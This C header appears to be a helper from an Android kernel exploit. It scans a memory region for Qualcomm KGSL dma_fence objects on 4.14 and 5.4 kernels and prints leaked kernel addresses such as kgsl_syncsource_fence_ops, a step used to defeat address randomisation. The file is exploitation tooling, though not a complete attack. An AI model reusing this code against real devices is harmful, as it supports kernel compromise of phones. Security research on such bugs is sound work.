#ifndef DMA_SEARCH_H
#define DMA_SEARCH_H

#include <unistd.h>
#include <stdlib.h>

#define OBJECT_SIZE 128

#define STRIDE (OBJECT_SIZE/8)

struct dma_info {
  uint64_t ops;
  uint64_t cb_list;
  uint64_t spinlock;
  uint64_t context;
};

enum dma_search_type {
  KERNEL_4,
  KERNEL_5
};

int try_match_object_54(uint64_t* obj, struct dma_info* out) {
  //No ops
  if (obj[1] == 0) return 0;
  //cb_list not initialized
  if (obj[2] != obj[3]) return 0;
  //no cb_list
  if (obj[2] == 0 || obj[3] == 0) return 0;
  if (out->ops == 0) {
    out->ops = obj[1];
    out->cb_list = obj[2];
    out->context = obj[4];
    return 1;
  }
  if (out->ops != obj[1]) {
    printf("out->ops %lx obj[1] %lx\n", out->ops, obj[1]);
    return 0;
  }
  return 1;
}

int try_match_object_414(uint64_t* obj, struct dma_info* out) {
  //No ops
  if (obj[1] == 0) return 0;
  //rcu not zero
  if (obj[2] != 0 || obj[3] != 0) return 0;
  //cb_list not initialized
  if (obj[4] != obj[5]) return 0;
  //no cb_list
  if (obj[4] == 0 || obj[5] == 0) return 0;
  //no spinlock
  if (obj[6] == 0) return 0;
  if (out->ops == 0) {
    out->ops = obj[1];
    out->cb_list = obj[4];
    out->spinlock = obj[6];
    out->context = obj[7];
    return 1;
  }
  if (out->ops != obj[1]) {
    printf("out->ops %lx obj[1] %lx\n", out->ops, obj[1]);
    return 0;
  }
  if (out->spinlock != obj[6]) {
    printf("out->spinlock %lx obj[6] %lx\n", out->spinlock, obj[6]);
    return 0;
  }
  return 1;
};

int dma_search(uint64_t* region, size_t len, enum dma_search_type type) {
  if (len % OBJECT_SIZE != 0) err(1, "len is not divisible by object size\n");
  struct dma_info info = {0};
  int match = 0;
  for (int i = 0; i < len; i+= STRIDE) {
      if (type == KERNEL_4) {
        match += try_match_object_414(region + i, &info);
      } else if (type == KERNEL_5){
        match += try_match_object_54(region + i, &info);
      } else {
        err(1, "unknown kernel branch\n");
      }
  }
  if (match > 3) {
    printf("found dma fence object:\n");
    printf("kgsl_syncsource_fence_ops address: %lx\n", info.ops);
    printf("object address: %lx\n", info.cb_list);
    return 1;
  }
  return -1;  
};

#endif
